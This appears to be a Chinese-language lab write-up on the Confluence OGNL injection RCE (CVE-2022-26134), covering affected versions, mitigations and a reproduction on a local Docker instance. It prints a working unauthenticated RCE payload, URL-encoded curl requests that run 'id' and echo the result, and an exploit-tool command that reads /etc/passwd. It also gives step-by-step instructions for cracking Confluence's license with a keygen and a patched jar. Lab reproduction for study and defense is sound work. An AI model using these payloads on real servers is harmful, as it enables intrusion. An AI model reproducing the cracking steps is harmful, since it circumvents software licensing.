Confluence-CVE-2022-26134

1.漏洞简介

6.CVE-2022-26134 漏洞详解

CVE-2022-26134 是 Atlassian Confluence 中的一个严重远程代码执行(RCE)漏洞,也称为 Confluence OGNL 注入漏洞。该漏洞允许攻击者通过构造恶意的 OGNL(Object-Graph Navigation Language)表达式,在未经身份验证的情况下远程执行任意代码。以下是该漏洞的详细解析,包括漏洞原理、利用条件、影响版本及复现步骤。


1. 漏洞背景

Atlassian Confluence 是一款广泛使用的企业级 Wiki 和知识管理工具,用于团队协作和信息共享。2022 年 6 月,Atlassian 发布安全公告,披露了 Confluence Server 和 Data Center 中的一个严重漏洞(CVE-2022-26134),攻击者可以通过 OGNL 注入实现远程代码执行,危害极大。


2. CVSS V3 评分

  • CVSS V3 评分:9.8(高危)

3. 漏洞原理

漏洞的核心在于 Confluence 对用户输入的 OGNL 表达式处理不当:

  1. OGNL 注入

    • OGNL 是一种用于访问和操作 Java 对象图的表达式语言。
    • 攻击者可以通过构造恶意的 OGNL 表达式,将其注入到 Confluence 的请求中。
    • Confluence 在处理这些请求时,会解析并执行 OGNL 表达式,导致任意代码执行。
  2. 漏洞触发点

    • 攻击者通过构造特定的 HTTP 请求,将恶意 OGNL 表达式注入到 Confluence 的 URI 中。

    • 例如,攻击者可以通过以下 Payload 执行命令:

      1
      /${@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")}/
    • 该 Payload 会执行 id 命令,并将结果返回给攻击者。

  3. 利用链

    • 攻击者通过发送恶意请求,触发 OGNL 表达式的解析和执行。
    • 成功利用后,攻击者可以在目标服务器上执行任意命令,例如创建管理员账户、植入后门等。

4. 影响版本

  • 受影响版本

    • Confluence Server and Data Center 1.3.0 至 7.4.16
    • Confluence Server and Data Center 7.13.0 至 7.13.6
    • Confluence Server and Data Center 7.14.0 至 7.14.2
    • Confluence Server and Data Center 7.15.0 至 7.15.1
    • Confluence Server and Data Center 7.16.0 至 7.16.3
    • Confluence Server and Data Center 7.17.0 至 7.17.3
    • Confluence Server and Data Center 7.18.0。
  • 修复版本

    • Confluence Server and Data Center 7.4.17
    • Confluence Server and Data Center 7.13.7
    • Confluence Server and Data Center 7.14.3
    • Confluence Server and Data Center 7.15.2
    • Confluence Server and Data Center 7.16.4
    • Confluence Server and Data Center 7.17.4
    • Confluence Server and Data Center 7.18.1。

5. 漏洞利用条件

  1. 目标系统

    • 运行受影响版本的 Confluence Server 或 Data Center。
    • 目标系统未打补丁或未采取缓解措施。
  2. 攻击者权限

    • 攻击者无需身份验证即可利用该漏洞。
  3. 网络访问

    • 攻击者能够访问目标系统的 Confluence 服务端口(默认 8090)。

6. 漏洞复现

以下是漏洞复现的简要步骤:

  1. 环境搭建

    • 使用 Docker 或虚拟机搭建受影响的 Confluence 版本(如 7.4.16)。
  2. 构造 Payload

    • 使用以下 Payload 执行命令(如 id):

      1
      /${@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")}/
    • 将 Payload 进行 URL 编码后发送到目标服务器。

  3. 发送请求

    • 使用 curl 或 Burp Suite 发送恶意请求:

      1
      curl -v "http://目标IP:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/"
    • 如果漏洞存在,服务器会返回命令执行结果(如 uid=1001(confluence))。

  4. 工具利用

    • 使用自动化工具(如 cve-2022-26134.py)进行漏洞检测和利用:

      1
      python3 cve-2022-26134.py --rhost 目标IP --rport 8090 --lhost 攻击机IP --protocol http:// --read-file /etc/passwd
    • 该工具可以读取目标服务器的文件内容或执行命令。


7. 修复建议

  1. 升级版本

    • 升级到 Confluence 的最新修复版本(如 7.4.17、7.13.7 等)。
  2. 临时缓解措施

    • 替换受漏洞影响的 JAR 文件(如 xwork-1.0.3-atlassian-10.jar)。
    • 禁用 Confluence 的 OGNL 表达式解析功能。
  3. 安全加固

    • 使用防火墙或安全组规则限制对 Confluence 端口的访问。
    • 定期监控系统日志,检测异常访问行为。

8. 总结

CVE-2022-26134 是一个高危的远程代码执行漏洞,影响范围广泛,利用条件简单。建议用户尽快升级版本并采取安全加固措施,以避免潜在的安全风险。通过禁用不必要的功能、限制访问权限和实施安全策略,可以有效降低漏洞被利用的风险。

2.破解流程

  1. Confluence 界面,默认开启端口为8090,8091,需要破解

image-20250212213432393

  1. 进入docker容器
1
$ docker exec -it confluence /bin/bash
  1. 将解码包拉去到本地Windows计算机
1
$ docker cp a4b46090ecf9:/opt/atlassian/confluence/confluence/WEB-INF/lib/atlassian-extras-decoder-v2-3.4.1.jar ./
  1. 将该jar包改名为 atlassian-extras-2.4.jar
  2. java -jar confluence_keygen.jar运行破解工具
    • 输入任意名字
    • 复制 Server ID 并输入
    • 点击gen生成key
    • 复制key备用
    • 再点击patch 破解,选择刚刚重命名的包。 注意如果第二次patch 需要删除bak文件
    • 显示jar success fully patched,表示破解成功,接下来关闭破解软件即可

image-20250213234902554

image-20250213234706768

image-20250213235337690

  1. 将生成的atlassian-extras-2.4.jar改回原来的名字atlassian-extras-decoder-v2-3.4.1.jar

  2. 再将破解包中的mysql-connector-java-8.0.29.jar和atlassian-extras-decoder-v2-3.4.1.jar一起放入docker中的lib目录下。(在放入之前需要给它们附加权限)

1
2
3
$ chmod 777 *.jar
$ docker cp atlassian-extras-decoder-v2-3.4.1.jar a4b46090ecf9:/opt/atlassian/confluence/confluence/WEB-INF/lib/atlassian-extras-decoder-v2-3.4.1.jar
$ docker cp mysql-connector-java-8.0.29.jar a4b46090ecf9:/opt/atlassian/confluence/confluence/WEB-INF/lib/mysql-connector-java-8.0.29.jar
  1. 重启docker容器。
  2. 访问8090输入获取到的key

image-20250214002737011

3.安装配置

https://blog.csdn.net/liulei1632/article/details/129500425

  • 需要多等待一会

image-20250212233847692

  • 选择推荐配置

image-20250214004209355

  • 管理用户和组

image-20250214004304439

  • 账户密码随便填

image-20250214004350797

  • 配置完成

image-20250214004423285

  • 尝试创建空间发布文章。

image-20250214004440877

image-20250214004507002

image-20250214004541841

4.复现流程

  1. 使用curl发送get请求POC
1
2
3
curl -v http://192.168.100.137:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/

# http://192.168.100.137:8090/${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}/
  • 不知道为什么只有curl 能够成功执行

image-20250212235333412

  • 使用Postman进行测试
  1. 但我们默认情况下 使用Postman和bp发包都没有回显,这是因为302重定向了,所以需要在postman设置中关闭自动重定向。

image-20250214004815283

image-20250214012149382

  1. 然后再发送请求就能看到回显了

image-20250214011305783

  1. 我在bp中配置了不重定向,不知道为什么不能成功。

image-20250214012053347